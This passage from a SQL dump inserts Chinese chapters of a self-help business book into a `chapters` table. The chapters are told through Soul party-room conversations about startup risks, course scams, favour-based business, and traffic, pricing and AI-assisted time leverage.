n\n\n\n---\n\n临前下麦前,我说了一句话。\n\n\"我错过过电商财税,错过过供应链金融,错过过抖音红利。\"\n\n\"每一次错过,都让我更加警觉。\"\n\n\"但警觉不等于冲动。\"\n\n\"真正成熟的做法,是在警觉的同时保持冷静。\"\n\n\"该出手的时候出手,该等待的时候等待。\"\n\n\"这个分寸,可能需要一辈子去学。\"\n', 1334, 0, 1.00, 29, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.786', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (38, '7.1', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '投资房年轻人的迷茫:资金 vs 能力', '# 7.1 投资房年轻人的迷茫:资金 vs 能力\n\n\"我手上有一套房,但我不知道该卖掉创业,还是继续持有。\"\n\n2025年11月24日,周一,早上6点55分。\n\n那天派对房里来了个90后,语气有点纠结。\n\n他说他在厦门有一套房,市值大概300万,但他现在很迷茫。\n\n我问:\"你为什么想卖房创业?\"\n\n他说:\"因为我觉得房子涨不动了,不如把钱拿出来做点事情。\"\n\n---\n\n派对房里,有人问:\"你想创业做什么?\"\n\n他说:\"还没想好。可能做电商,可能做自媒体,也可能做餐饮。\"\n\n我说:\"等一下,你这三个方向差别很大。\"\n\n\"你到底想做什么?\"\n\n他说:\"我不知道,我就是想做点事情。\"\n\n---\n\n我说:\"这就是问题。\"\n\n\"你不是想创业,你是想\'改变现状\'。\"\n\n\"但你不知道往哪个方向改变。\"\n\n---\n\n派对房里,有人说:\"那他卖房创业不行吗?\"\n\n我说:\"不是不行,是风险太大。\"\n\n\"你想想,他手上唯一的资产就是这套房。\"\n\n\"如果他卖掉房子去创业,创业失败了怎么办?\"\n\n\"他就什么都没有了。\"\n\n---\n\n我继续说。\n\n\"很多人有一个误区。\"\n\n\"他们觉得,创业失败了没关系,大不了从头再来。\"\n\n\"但实际上,创业失败的代价是很大的。\"\n\n\"不只是钱的问题,还有时间、精力、信心的问题。\"\n\n---\n\n我停了一下。\n\n\"而且创业需要的不只是资金,更重要的是能力。\"\n\n\"你有没有做过生意?你懂不懂运营?你会不会管理?你有没有资源?\"\n\n\"这些东西,不是有钱就能解决的。\"\n\n---\n\n派对房里,那个90后说:\"那我应该怎么办?\"\n\n我说:\"我给你一个建议。\"\n\n\"不要卖房,但可以用房子做杠杆。\"\n\n---\n\n我继续说。\n\n\"什么意思?\"\n\n\"你可以把房子抵押,贷出一部分钱来试水。\"\n\n\"比如贷50万,先做一个小项目。\"\n\n\"成功了,再扩大。失败了,你还有房子兜底。\"\n\n---\n\n派对房里,有人说:\"但贷款要还利息啊。\"\n\n我说:\"是的,但利息是可控的成本。\"\n\n\"你卖房创业,如果失败了,你连本金都没了。\"\n\n\"你贷款创业,如果失败了,你最多损失这50万和利息。\"\n\n\"哪个风险更大?\"\n\n---\n\n我停了一下。\n\n\"但更重要的是,在你投钱之前,先投时间。\"\n\n\"什么意思?\"\n\n\"你说你想做电商、自媒体、餐饮,但你一个都没试过。\"\n\n\"你怎么知道自己适合做什么?\"\n\n---\n\n我继续说。\n\n\"我建议你先花三个月到半年时间,去尝试。\"\n\n\"你可以先不辞职,用业余时间去做。\"\n\n\"比如你想做自媒体,那就先开一个账号,每天发内容,看看有没有人看。\"\n\n\"比如你想做电商,那就先在闲鱼上卖点东西,感受一下。\"\n\n\"比如你想做餐饮,那就先去一家餐厅打工,了解一下这个行业。\"\n\n---\n\n派对房里,那个90后说:\"但这样太慢了。\"\n\n我说:\"慢才是快。\"\n\n\"你现在着急投钱进去,可能三个月就亏光了。\"\n\n\"你先花三个月试水,可能能避免一个大坑。\"\n\n---\n\n那天聊完,派对房里有人说:\"我觉得他不会听的。\"\n\n我说:\"可能吧。\"\n\n\"很多人都是这样,道理都懂,但就是想走捷径。\"\n\n\"他们觉得,只要有钱,什么都能解决。\"\n\n\"但实际上,钱只是放大器。\"\n\n\"你有能力,钱能放大你的能力。\"\n\n\"你没能力,钱只能放大你的错误。\"\n\n---\n\n这本书的真实目的,不是阻止你创业。\n\n而是告诉你,创业之前,先问自己几个问题:\n\n第一,你想做什么?如果你自己都不知道,那就先别动。\n\n第二,你有什么能力?如果你什么都不会,那就先去学。\n\n第三,你能承受多大的损失?如果你输不起,那就先别赌。\n\n想清楚这三个问题,再决定要不要创业。\n\n这不是保守,这是理性。\n', 1364, 0, 1.00, 30, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.797', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (39, '7.2', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '信息差骗局:永远有人靠卖学习赚钱', '# 7.2 信息差骗局:永远有人靠卖学习赚钱\n\n\"我花了两万块报了一个创业课,结果发现全是废话。\"\n\n2025年12月8日,周一,早上7点12分。\n\n那天派对房里来了个声音有点沮丧的女生,一上麦就开始吐槽。\n\n她说她去年报了一个\"创业训练营\",交了两万块学费。\n\n我问:\"那个课教了什么?\"\n\n她说:\"就是一些很基础的东西,什么定位、流量、变现。\"\n\n\"这些东西我在网上免费都能看到,他们就是换个说法讲一遍。\"\n\n---\n\n派对房里,有人问:\"那你为什么会报名?\"\n\n她说:\"因为他们的宣传太厉害了。\"\n\n\"说什么\'学完就能月入十万\'、\'已经有多少学员成功\'。\"\n\n\"还有一堆学员的成功案例,看起来很真实。\"\n\n\"我当时就觉得,两万块换一个月入十万的机会,值了。\"\n\n---\n\n我说:\"这就是典型的\'信息差骗局\'。\"\n\n---\n\n派对房里,有人问:\"什么叫信息差骗局?\"\n\n我说:\"就是利用你不懂的东西,卖给你一个\'学习的机会\'。\"\n\n\"他们不是在卖知识,他们是在卖\'希望\'。\"\n\n---\n\n我继续说。\n\n\"你想想,那些创业课的老师,他们自己创业成功了吗?\"\n\n\"很多人没有。\"\n\n\"他们的商业模式就是:告诉你创业能赚钱,然后卖课给你。\"\n\n\"他们赚的不是创业的钱,是卖课的钱。\"\n\n---\n\n派对房里,那个女生说:\"但他们有成功案例啊。\"\n\n我说:\"成功案例是可以包装的。\"\n\n\"比如他们找一个学员,这个学员本来就有点基础,学完课之后赚了点钱。\"\n\n\"然后他们就把这个人包装成\'学完月入十万\'的案例。\"\n\n\"但他们不会告诉你,这个人本来就有资源,本来就有能力。\"\n\n\"他们更不会告诉你,有多少人学完之后什么都没赚到。\"\n\n---\n\n我停了一下。\n\n\"这就是信息差骗局的套路。\"\n\n\"第一,制造焦虑。告诉你,你不学习就会被淘汰,你不创业就会穷一辈子。\"\n\n\"第二,贩卖希望。告诉你,只要学了这个课,你就能成功。\"\n\n\"第三,展示案例。给你看一堆成功案例,让你觉得这是真的。\"\n\n\"第四,限时优惠。告诉你,现在报名有优惠,错过就没了。\"\n\n---\n\n派对房里,有人说:\"那怎么判断一个课值不值得报?\"\n\n我说:\"有几个方法。\"\n\n\"第一,看老师的背景。他自己做过什么?有什么成绩?不是他学员的成绩,是他自己的成绩。\"\n\n\"第二,看课程的内容。能不能看到详细的大纲?还是只有一些模糊的承诺?\"\n\n\"第三,看退款政策。如果学完不满意能不能退款?不能退款的,基本上都有问题。\"\n\n\"第四,问问自己。这个课教的东西,我能不能在网上免费找到?如果能,为什么要花钱?\"\n\n---\n\n我继续说。\n\n\"还有一个最简单的判断方法。\"\n\n\"如果一个课告诉你\'学完就能月入多少\',那基本上是骗人的。\"\n\n\"因为没有任何课能保证你的收入。\"\n\n\"收入取决于太多因素:你的能力、你的资源、你的执行力、市场的情况。\"\n\n\"一个课最多能教你方法,但不能保证你的结果。\"\n\n---\n\n派对房里,那个女生说:\"那我这两万块就白花了?\"\n\n我说:\"也不能说完全白花。\"\n\n\"至少你学到了一个教训:不要轻易相信那些\'快速成功\'的承诺。\"\n\n\"这个教训值两万块。\"\n\n---\n\n我停了一下。\n\n\"但更重要的是,你要想清楚一个问题。\"\n\n\"你为什么会被这种课吸引?\"\n\n\"是因为你真的想学东西,还是因为你想走捷径?\"\n\n---\n\n那天聊完,派对房里有人说:\"这种课太多了,防不胜防。\"\n\n我说:\"是的。\"\n\n\"只要有人想走捷径,就会有人卖捷径。\"\n\n\"这是人性,改变不了。\"\n\n---\n\n我继续说。\n\n\"但你可以改变自己。\"\n\n\"记住一句话:天下没有免费的午餐,也没有速成的成功。\"\n\n\"任何告诉你\'快速\'、\'轻松\'、\'保证\'的东西,都要打个问号。\"\n\n\"真正的成功,都是慢慢积累出来的,没有捷径。\"\n\n---\n\n这本书的真实目的,不是让你不去学习。\n\n而是告诉你,学习要有辨别力。\n\n有些课值得花钱,有些课是在割韭菜。\n\n区分它们的方法很简单:看它卖的是知识,还是希望。\n\n卖知识的课,会告诉你具体能学到什么。\n\n卖希望的课,只会告诉你学完能赚多少。\n\n记住这个区别,你就能避开大部分的坑。\n', 1558, 0, 1.00, 31, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.808', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (40, '7.3', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '在Soul找恋爱但想赚钱的人', '# 7.3 在Soul找恋爱但想赚钱的人\n\n一个房间两种目标,最后两个都做不成。\n\n2025年12月10日,周三,早上6点35分。\n\n那天派对房里来了个小姐姐,语气有点犹豫。\n\n她说:“卡若,我来Soul是找对象,但我也想找项目。”\n\n我问:“你今天的目标是哪一个?”\n\n她沉默了。\n\n——\n\n在派对房的聊天里,\n\n我们经常遇到“目标冲突”。\n\n你说你要恋爱,\n\n你说你要赚钱。\n\n同一个场景里,\n\n你把两件事混在一起,\n\n结果两件事都做不好。\n\n——\n\n第二天线下,我们在咖啡馆见。\n\n我让她写“分轨表”。\n\n恋爱分轨与赚钱分轨。\n\n恋爱分轨三条:\n\n明确你的长期关系目标、你的边界与你的节奏。\n\n赚钱分轨三条:\n\n明确你的可交易能力、你的客户获取路径、你的交付与复盘。\n\n分轨写完,\n\n她说:“我以前把两件事混在一个时间里。”\n\n“所以我每天都焦虑。”\n\n——\n\n派对房里有人问:“能不能恋爱同时赚钱?”\n\n我说:“可以,但要‘分场景’。”\n\n恋爱场景不谈钱。\n\n赚钱场景不谈情。\n\n时间与空间都要分开。\n\n否则你会把‘关系’变成‘交易’,把‘交易’变成‘关系’。\n\n——\n\n我给她一个“两周分轨训练”。\n\n第一周只做赚钱分轨。\n\n把你的能力做成‘当下可用清单’,每天三个动作,晚上复盘。\n\n第二周做恋爱分轨。\n\n只做认识与聊天,\n\n不做评判与承诺,\n\n写你在聊天里‘被理解与理解对方’的三个瞬间。\n\n——\n\n两周后,她在派对房复盘。\n\n“我不再在谈钱的时候讲感受。”\n\n“我不再在聊天的时候讲项目。”\n\n“我分开了。”\n\n“我每天不焦虑了。”\n\n我说:“恋爱与赚钱都需要‘结构’。”\n\n“有结构,你就不会把目的混在一起。”\n\n——\n\n派对房里我们写了一张“分轨清单”。\n\n1. 写恋爱分轨:目标/边界/节奏,只在恋爱场景使用。\n\n2. 写赚钱分轨:能力/客户/交付与复盘,只在工作场景使用。\n\n3. 时间与空间分开:不在同一时段与地点混用。\n\n4. 每晚复盘“有没有混用”:一旦混用,第二天调整。\n\n5. 只在“分轨完成”之后尝试“场景链接”,否则继续分开。\n', 765, 0, 1.00, 32, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.820', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (41, '7.4', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '创业者的三种死法:冲动、轻信、没结构', '# 7.4 创业者的三种死法:冲动、轻信、没结构\n\n\"我见过太多创业失败的人,他们的失败原因基本上就三种。\"\n\n2025年12月12日,周五,早上7点05分。\n\n那天派对房的话题有点沉重,聊起了创业失败。\n\n有人问:\"你觉得创业失败最常见的原因是什么?\"\n\n我说:\"不是市场不好,不是运气不好,是创业者自己的问题。\"\n\n---\n\n派对房里,有人说:\"能具体说说吗?\"\n\n我说:\"好,我给你们讲三种最常见的\'死法\'。\"\n\n---\n\n第一种死法:冲动\n\n\"很多人创业,是因为一时冲动。\"\n\n\"比如他看到别人做某个生意赚钱了,他就想:我也能做。\"\n\n\"然后什么都没准备好,就冲进去了。\"\n\n---\n\n我继续说。\n\n\"冲动创业的人,通常有几个特点。\"\n\n\"第一,没有做过市场调研。他不知道这个市场有多大,竞争有多激烈,自己有没有优势。\"\n\n\"第二,没有做过财务规划。他不知道要投多少钱,要多久才能回本,中间的现金流怎么解决。\"\n\n\"第三,没有做过风险评估。他不知道可能会遇到什么问题,遇到问题怎么办。\"\n\n---\n\n我停了一下。\n\n\"冲动创业的结果是什么?\"\n\n\"通常是三个月到半年就死了。\"\n\n\"因为他根本没想清楚,遇到问题就慌了,然后就放弃了。\"\n\n---\n\n第二种死法:轻信\n\n\"有些人创业,是因为相信了别人的话。\"\n\n\"比如有人跟他说:\'这个项目稳赚不赔,你投钱进来就行。\'\"\n\n\"他就信了,把钱投进去了。\"\n\n---\n\n我继续说。\n\n\"轻信的人,通常有几个特点。\"\n\n\"第一,不做独立判断。别人说什么他就信什么,不去验证。\"\n\n\"第二,容易被忽悠。别人给他画个大饼,他就觉得自己要发财了。\"\n\n\"第三,分不清朋友和生意。他觉得朋友介绍的项目肯定靠谱,结果被朋友坑了。\"\n\n---\n\n我停了一下。\n\n\"轻信创业的结果是什么?\"\n\n\"通常是被骗或者被坑。\"\n\n\"他投进去的钱,要么被合伙人卷走了,要么被项目方骗走了。\"\n\n---\n\n第三种死法:没结构\n\n\"有些人创业,方向是对的,也很努力,但就是做不起来。\"\n\n\"为什么?因为他没有结构。\"\n\n---\n\n我继续说。\n\n\"什么叫没有结构?\"\n\n\"就是他不知道一个生意应该怎么运转。\"\n\n\"他可能产品做得很好,但不会营销。\"\n\n\"他可能营销做得很好,但不会管理。\"\n\n\"他可能什么都会一点,但什么都不精通。\"\n\n---\n\n我停了一下。\n\n\"没结构的人,通常有几个特点。\"\n\n\"第一,什么都自己干。他不会分工,不会授权,什么都想自己做。\"\n\n\"第二,没有系统思维。他只看眼前的问题,不看整体的逻辑。\"\n\n\"第三,不会复盘。他做错了不知道为什么错,做对了也不知道为什么对。\"\n\n---\n\n我继续说。\n\n\"没结构创业的结果是什么?\"\n\n\"通常是累死自己,但生意做不大。\"\n\n\"他每天忙得要死,但收入就是上不去。\"\n\n\"因为他的时间和精力都被琐事占满了,没有空间去思考更重要的事情。\"\n\n---\n\n派对房里,有人问:\"那怎么避免这三种死法?\"\n\n我说:\"很简单。\"\n\n\"第一,不要冲动。想创业,先花三个月到半年时间做准备。调研市场、规划财务、评估风险。\"\n\n\"第二,不要轻信。任何项目,都要自己去验证。别人说的话,只能作为参考,不能作为决策依据。\"\n\n\"第三,要有结构。学习商业的基本逻辑,学习怎么搭建团队,学习怎么做系统。\"\n\n---\n\n那天聊完,派对房里有人说:\"感觉创业好难。\"\n\n我说:\"创业确实难。\"\n\n\"但难不代表不能做。\"\n\n\"你只要避开这三个坑,成功的概率就会大很多。\"\n\n---\n\n我停了一下。\n\n\"创业失败不可怕,可怕的是不知道为什么失败。\"\n\n\"如果你失败了,但你知道原因,你下次就能避免。\"\n\n\"如果你失败了,但你不知道原因,你下次还会犯同样的错误。\"\n\n---\n\n这本书的真实目的,不是吓唬你不要创业。\n\n而是告诉你,创业之前,先检查自己有没有这三个问题:\n\n第一,你是冲动还是深思熟虑?\n\n第二,你是轻信还是独立判断?\n\n第三,你有没有结构化的思维?\n\n如果三个问题的答案都是正面的,那就去创业吧。\n\n如果有任何一个问题的答案是负面的,那就先解决这个问题,再去创业。\n', 1539, 0, 1.00, 33, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.831', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (42, '7.5', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '人情生意的终点:关系越多亏得越多', '# 7.5 人情生意的终点:关系越多亏得越多\n\n人情不是生意,生意要规则和边界。\n\n2025年12月15日,周一,早上6点48分。\n\n那天派对房里来了个做传统生意的老板,语气有点无奈。\n\n他说:“我做的都是熟人单,但越做越亏。”\n\n我说:“因为你在做‘人情’。”\n\n“不是在做‘交易’。”\n\n——\n\n在派对房的聊天里,\n\n我们总结出‘人情生意’的两个陷阱。\n\n一、没有标准;\n\n二、没有边界。\n\n没有标准,你就按关系定价与交付;\n\n没有边界,你就无限让渡时间与资源。\n\n结果是关系很多,亏得更多。\n\n——\n\n第二天线下,我在茶馆让他做“关系转交易”的练习。\n\n把熟人客户做成‘关系卡’与‘服务包’。\n\n关系卡写清联系人、可信度、合作历史、风险与托底。\n\n服务包写清交付、价格、时段、风险与分润。\n\n把人情变成标准化与可交易。\n\n——\n\n派对房里有人问:“这样会不会显得生硬?”\n\n我说:“生硬一次,舒服很多次。”\n\n“你把标准与边界说清楚,”\n\n“关系就不会互相消耗。”\n\n——\n\n我们复盘了三个‘人情事故’。\n\n一次是“帮忙不收费,后来无限加需求”。\n\n一次是“先做后谈,最后谈不拢”。\n\n一次是“口头约定,交付模糊,钱也模糊”。\n\n解决方案只有一个:\n\n把服务写进合同,\n\n把分润写进合同,\n\n把风险与托底写进合同。\n\n——\n\n两周后,他在派对房复盘。\n\n“我不再做‘先帮后说’的单。”\n\n“我把‘标准与边界’做成清单。”\n\n“我只做写得清楚的合作。”\n\n“我关系少了,但钱稳了。”\n\n——\n\n我把这章收尾成一个“关系转交易清单”。\n\n1. 做关系卡:联系人/可信度/合作历史/风险与托底。\n\n2. 做服务包:交付/价格/时段/风险与分润,能被购买与复购。\n\n3. 合同化:把标准与边界写清楚,拒绝口头与模糊。\n\n4. 不做‘先帮后说’,所有合作先写后做。\n\n5. 每月复盘‘关系消耗与利润’,淘汰人情事故源。\n', 706, 0, 1.00, 34, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.842', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (43, '8.1', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '流量杠杆:抖音、Soul、飞书', '# 8.1 流量杠杆:抖音、Soul、飞书\n\n\"你以为是流量,其实是结构。你以为是曝光,其实是兑现。\"\n\n2025年11月11日,周二,早上6点32分。\n\n窗外还是黑的,茶刚泡好,派对房已经陆续有人进来了。\n\n有个声音有点急的小伙子上麦:\n\n\"卡若,你每天在Soul开播,抖音也在发,还说要用飞书,这三件事怎么合在一起?\"\n\n我笑了。\n\n\"这是一个杠杆。\"\n\n---\n\n派对房里安静了几秒。\n\n我说:\"抖音是窗,Soul是人,飞书是中台。\"\n\n\"三者合在一起,就能把\'看过你\'变成\'跟着你\'。\"\n\n他问:\"什么意思?\"\n\n我说:\"你听我讲个真实的例子。\"\n\n---\n\n2021年,我用一条\"办公室泡茶\"的本地内容,连续翻拍半年,做到70万粉。\n\n那条视频的结构很简单。\n\n前三秒冲击:\"来办公室泡茶,聊项目。\"\n\n中段给细节:\"你带茶叶,我提供开水。\"\n\n结尾有承诺:\"评论拿清单,加微信约时间。\"\n\n派对房里,有人打字:\"就这么简单?\"\n\n我说:\"就这么简单。每天三条,早8点、午3点、晚9点。\"\n\n\"但你能坚持半年吗?\"\n\n派对房里,又是一阵沉默。\n\n---\n\n我继续说:\"抖音的问题是什么?\"\n\n\"停留时间太短。\"\n\n\"我在抖音上70万粉,场均停留不到1分钟。\"\n\n\"但我在Soul上开播,场均停留13分钟,高的时候25分钟。\"\n\n有人问:\"为什么差这么多?\"\n\n我说:\"抖音是推的,Soul是拉的。\"\n\n\"抖音是我把内容推给你,你看不看是算法决定的。\"\n\n\"Soul是你带着问题来找我,你来不来是你自己决定的。\"\n\n我停了一下。\n\n\"Soul现在没有做分层,没做流量池机制,没做人群标签。\"\n\n\"进来的人只看标题,一进来的都很杂。\"\n\n\"但正因为杂,才有机会。\"\n\n\"因为平台还在早期,你能捡到便宜。\"\n\n---\n\n派对房里,有人问:\"那飞书是干嘛的?\"\n\n我说:\"飞书是中台。\"\n\n\"你在派对房里说\'回头加你微信\',这是承诺。\"\n\n\"你在飞书里建一个工单,写上\'今天下午3点前加他微信,周五前线下约见\',这是兑现。\"\n\n有人打字:\"承诺和兑现有什么区别?\"\n\n我说:\"区别大了。\"\n\n\"承诺是嘴上说说,兑现是有人盯着。\"\n\n\"中台不是一个软件,是一个\'确定性系统\'。\"\n\n---\n\n我在派对房里讲了一个真实的案例。\n\n我们把派对房里经常出现的动作做成表单与工单:\n\n加微信、线下约见、资料回填、训练表领取、成交与售后。\n\n每个工单都有责任人与时间节点,每个表单都回到\"客户卡片\"。\n\n两周后,我们复盘了数据。\n\n抖音的停留与完播提升30%。\n\n派对房的上麦与线下约见提升40%。\n\n中台的工单按时率提升到92%。\n\n派对房里,有人问:\"最重要的是什么?\"\n\n我说:\"最重要的是\'承诺的兑现率\'提升了。\"\n\n\"因为中台在控节点,我们不再靠激情与记忆去\'照顾客户\'。\"\n\n---\n\n那天快结束的时候,有人问:\"那我现在应该怎么开始?\"\n\n我说:\"先做最简单的事。\"\n\n\"人做三件:选题、脚本、复盘。\"\n\n\"机器做五件:拍摄、剪辑、字幕、封面、发布。\"\n\n\"中台做确定:表单、工单、看板、质检。\"\n\n我停了一下。\n\n\"你不需要一开始就做得很完美。\"\n\n\"你只需要把这三段结构跑起来,然后每周只改最短的那一段。\"\n\n---\n\n后来有人在群里问我:\"卡若,你说的这个\'窗—人—中台\',普通人能用吗?\"\n\n我说:\"当然能用。\"\n\n\"但你得先问自己三个问题。\"\n\n\"第一,你的窗在哪里?是抖音、小红书、还是Soul?\"\n\n\"第二,你的人在哪里?是派对房、直播间、还是社群?\"\n\n\"第三,你的中台是什么?是飞书、企业微信、还是一个Excel表?\"\n\n\"三段合起来,才是一个完整的杠杆。\"\n\n\"缺了任何一段,流量都会漏掉。\"\n\n---\n\n流量杠杆的本质,不是\"更多人看到你\"。\n\n是\"看到你的人,能不能变成跟着你的人\"。\n\n窗口只给结构与纪律的人。\n\n你以为是流量,其实是结构。\n\n你以为是曝光,其实是兑现。\n', 1484, 0, 1.00, 35, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.853', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (44, '8.2', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '价格杠杆:供应链与信息差', '# 8.2 价格杠杆:供应链与信息差\n\n\"便宜不是优势,总成本才是价格。\"\n\n2025年11月13日,周四,早上6点48分。\n\n外面下着小雨,派对房里却热闹得很。\n\n一个做日用品的朋友上麦,语气有点沮丧:\n\n\"卡若,洗衣液一块几的兑水价,我们拼不过。\"\n\n我说:\"你不是输在价格差,你是输在供应链与信息差。\"\n\n---\n\n派对房里安静了。\n\n有人打字:\"什么意思?\"\n\n我说:\"同一个产品,有人卖100,有人卖200。\"\n\n\"差价不是写话术带来的,是后端与总成本带来的。\"\n\n那个朋友问:\"总成本是什么?\"\n\n我说:\"六个字:货、价、期、质、服、风控。\"\n\n---\n\n派对房里,有人问:\"能具体说说吗?\"\n\n我说:\"货稳不稳?供应商会不会断货?\"\n\n\"价控不控?原材料涨价你能不能锁住价格?\"\n\n\"期够不够长?账期是15天还是30天?\"\n\n\"质合不合格?退换率是多少?\"\n\n\"服标不标准?售后响应是24小时还是72小时?\"\n\n\"风控可不可视化?出了问题有没有托底方案?\"\n\n我停了一下。\n\n\"这六个问题,你能回答几个?\"\n\n那个朋友想了想,说:\"三个。\"\n\n我说:\"那你就知道问题在哪里了。\"\n\n---\n\n那天派对房里,还来了一个做机票的朋友。\n\n他说:\"卡若,客户只看价格,我们越做越薄。\"\n\n我说:\"把\'票\'升级为\'方案\'。\"\n\n他问:\"什么意思?\"\n\n我说:\"你不是在卖机票,你是在卖\'从A点到B点的确定性\'。\"\n\n\"机票只是其中一个环节。\"\n\n\"延误怎么办?改签怎么办?酒店怎么办?交通怎么办?\"\n\n\"这些加起来,才是客户真正在乎的。\"\n\n---\n\n派对房里,有人打字:\"这个思路厉害。\"\n\n我说:\"你可以做三档。\"\n\n\"基础档:省事。帮你把票订好,有问题联系我。\"\n\n\"标准档:省事+稳时。帮你做延误历史分析,选延误率最低的航班。\"\n\n\"保障档:省事+稳时+托底。24小时响应,延误超过2小时,酒店和交通备用方案自动启动。\"\n\n我停了一下。\n\n\"用延误历史与备选航班把风险降下来,用24小时响应与酒店交通备用做托底。\"\n\n\"让客户看\'总成本\'而不是\'最低价\'。\"\n\n---\n\n两周后,那个做机票的朋友在派对房里复盘。\n\n他说:\"我们不再打\'最低价\'。\"\n\n\"我们卖\'最低总成本的方案\'。\"\n\n\"客户愿意付钱,因为我们让他少焦虑、少损失。\"\n\n\"毛利稳定了。\"\n\n---\n\n派对房里,有人问:\"那做日用品的怎么办?\"\n\n我说:\"一样的逻辑。\"\n\n\"你不是在卖洗衣液,你是在卖\'干净衣服的确定性\'。\"\n\n\"一块几的兑水价,质量稳定吗?交货准时吗?售后有保障吗?\"\n\n\"你把这些做好,你就不用跟最低价竞争。\"\n\n---\n\n那天派对房里,有人问了一个很好的问题。\n\n\"卡若,信息差到底是什么?\"\n\n我说:\"信息差就是你知道的,别人不知道。\"\n\n\"比如退税政策。\"\n\n\"电商缴税200万,你通过残疾人用工可以退税。\"\n\n\"这就是信息差。\"\n\n\"你知道这个政策,你就能帮企业省钱。\"\n\n\"你帮企业省钱,你就能分一杯羹。\"\n\n---\n\n派对房里,有人打字:\"这种信息差怎么找?\"\n\n我说:\"多听,多问,多链接。\"\n\n\"我在Soul上开了几十场派对,认识了几百个老板。\"\n\n\"每个老板手上都有不同的信息差。\"\n\n\"你把他们链接起来,你就有了信息差。\"\n\n---\n\n价格杠杆的本质,不是\"卖得更便宜\"。\n\n是\"让客户觉得总成本更低\"。\n\n后端越稳,前端越从容。\n\n你以为是标价,其实是总成本。\n\n你以为是便宜,其实是更稳。\n', 1303, 0, 1.00, 36, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.865', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (45, '8.3', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '时间杠杆:自动化 + AI', '# 8.3 时间杠杆:自动化 + AI\n\n\"忙不是能力,能按时才是时间。\"\n\n2025年11月17日,周一,早上6点40分。\n\n刚过立冬,天亮得越来越晚,派对房里的人却越来越早。\n\n有个做自媒体的小伙子上麦,声音里带着疲惫:\n\n\"卡若,我一个人做内容,每天都不够用,AI能不能帮?\"\n\n我说:\"能帮。\"\n\n\"但不是你想的那种帮法。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"大部分人用AI,是想让AI替自己干活。\"\n\n\"但真正的时间杠杆,是把事情分成三类。\"\n\n\"人做三件,机器做五件,中台做确定。\"\n\n那个朋友问:\"具体怎么分?\"\n\n我说:\"人做三件:选题、脚本、复盘。\"\n\n\"这三件事,是你不能外包的。\"\n\n\"因为选题决定方向,脚本决定结构,复盘决定进化。\"\n\n---\n\n派对房里,有人打字:\"那机器做什么?\"\n\n我说:\"机器做五件:拍摄、剪辑、字幕、封面、发布。\"\n\n\"这五件事,是可以标准化的。\"\n\n\"你做一个模板,机器就能重复执行。\"\n\n有人问:\"那中台做什么?\"\n\n我说:\"中台做确定:表单、工单、节点SLA、复盘与质检。\"\n\n\"中台不生产内容,中台生产确定性。\"\n\n---\n\n那天早上,我在派对房里分享了一个\"七天装机表\"。\n\n有人问:\"什么是装机表?\"\n\n我说:\"就是用七天时间,把时间杠杆装起来。\"\n\n第一天,写选题与脚本模板。用AI做开场、反转、承诺的句式库,生成20条模板。\n\n第二天,搭素材池与模板库。风景、路线、价格、互动四类素材入库200条。\n\n第三天,写剪辑热键表,把手艺活变机械执行。\n\n第四天,建发布看板。三条一天、三时段、统一主题不同结构。\n\n第五天,建复盘报表。停留、完播、评论、私信四项,只改最短段。\n\n第六天,跑一次流水线。早写、中拍、下午剪、晚上发与复盘。\n\n第七天,只做\"改短段与改模板\"。\n\n---\n\n派对房里,有人问:\"这样真的能省时间?\"\n\n我说:\"你试试就知道。\"\n\n两周后,那个朋友在派对房里复盘。\n\n他说:\"我每天三条,不再焦虑。\"\n\n\"我只焦虑\'选题与脚本\'。\"\n\n\"因为机器会把其他事情做完。\"\n\n---\n\n派对房里,有人问:\"那AI代聊靠谱吗?\"\n\n我说:\"有用,但要设质检点。\"\n\n有人问:\"什么质检点?\"\n\n我说:\"三处。\"\n\n\"第一,场景识别是否正确。AI有没有搞错客户的问题?\"\n\n\"第二,承诺是否可兑现。AI有没有乱承诺?\"\n\n\"第三,时间节点是否明确。AI有没有把事情拖延?\"\n\n我停了一下。\n\n\"AI代聊做轻动作,专业的人做重交付。\"\n\n\"中台把节点与责任人确定下来。\"\n\n---\n\n那天派对房里,有人问了一个很实在的问题。\n\n\"卡若,你说的这些AI工具,普通人能用吗?\"\n\n我说:\"能用。\"\n\n\"现在有很多AI工具,VO、GPT、Cursor、TRAE、DEEPSEEK、豆包等。\"\n\n\"关键不是用什么工具,是你怎么用。\"\n\n\"你用AI省下来的时间,不是用来休息的。\"\n\n\"是用来做更重要的事的。\"\n\n---\n\n时间杠杆的本质,不是\"更快\"。\n\n是\"更稳\"。\n\n人做更少但更重要的事。\n\n机器做更多但更确定的事。\n\n中台让承诺更兑现。\n\n忙不是能力,能按时才是时间。\n', 1191, 0, 1.00, 37, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.876', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (46, '8.4', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', 